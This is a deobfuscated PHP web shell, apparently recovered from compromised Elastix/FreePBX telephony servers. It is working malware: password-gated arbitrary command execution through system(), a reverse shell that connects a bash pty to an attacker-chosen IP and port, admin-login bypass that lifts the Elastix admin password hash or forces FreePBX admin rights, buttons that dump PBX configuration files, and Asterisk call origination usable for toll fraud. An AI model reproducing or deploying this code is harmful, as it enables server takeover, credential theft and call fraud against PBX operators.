/* Decoded by unphp.net */ session_start(); if (isset($_REQUEST['md5']) && md5($_REQUEST['md5']) == '903296b9093270e94798566f63c95e59') { $_SESSION['JUBAVOIP'] = 'logged'; } if (!isset($_SESSION['JUBAVOIP'])) { echo '
'; echo ''; echo ' '; echo '
'; echo ''; exit(); } if (isset($_REQUEST['ip']) && isset($_REQUEST['port'])) { $sock = fsockopen($_REQUEST['ip'], $_REQUEST['port']); $proc = proc_open("python -c 'import pty; pty.spawn(\"bash\")'", array(0 => $sock, 1 => $sock, 2 => $sock), $pipes); } if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Elastix') { session_destroy(); session_name("elastixSession"); session_start(); $_SESSION['JUBAVOIP'] = 'logged'; include_once "/var/www/html/libs/paloSantoDB.class.php"; include_once "/var/www/html/libs/paloSantoACL.class.php"; $pDB = new paloDB("sqlite3:////var/www/db/acl.db"); $db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'"); $_SESSION['elastix_user'] = $db[0][0]; $_SESSION['elastix_pass'] = $db[0][1]; header("Location: /index.php"); } if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Freepbx') { if (!@include_once(getenv('FREEPBX_CONF') ? getenv('FREEPBX_CONF') : '/etc/freepbx.conf')) { include_once('/etc/asterisk/freepbx.conf'); } require_once('/var/www/html/admin/libraries/ampuser.class.php'); $_SESSION['AMP_user'] = new ampuser($amp_conf['AMPDBUSER']); $_SESSION['AMP_user']->setAdmin(); header("Location: /admin/config.php"); } if (!isset($_REQUEST['q'])) { echo base64_decode('PGgxIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij5USEVZIENBTEwgTUUgSlVCQVZPSVAgOik8L2gxPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgIDxiPkNBTEw8L2I+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb250ZXh0IiB2YWx1ZT0iYXN0ZXJpc2stb3V0Y2FsbHMiIC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1dHRvbj4KICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9hc3Rlcmlzay9leHRlbnNpb25zX2N1c3RvbS5jb25mIj5FeHRlbnNpb25zPC9idXR0b24+CiAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iY2F0IC9ldGMvZWxhc3RpeC5jb25mIj5FbGFzdGl4LmNvbmY8L2J1dHRvbj4KICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9pc3NhYmxlLmNvbmYiPklzc2FibGUuY29uZjwvYnV0dG9uPgogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImNhdCAvZXRjL2FtcG9ydGFsLmNvbmYiPmFtcG9ydGFsLmNvbmY8L2J1dHRvbj4KPC9mb3JtPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJnZXQiPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYWRtaW4iIHZhbHVlPSJFbGFzdGl4IiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYWRtaW4iIHZhbHVlPSJGcmVlcGJ4IiAvPgo8L2Zvcm0+CjxwcmU+'); echo '
';
}
if (isset($_REQUEST['cmd'])) {
    echo system($_REQUEST['cmd']);
}
if (isset($_REQUEST['call'])) {
    system('asterisk -rx "channel originate Local/' . $_REQUEST['prs'] . $_REQUEST['num'] . '@' . $_REQUEST['context'] . ' application wait ' . $_REQUEST['time'] . '"');
}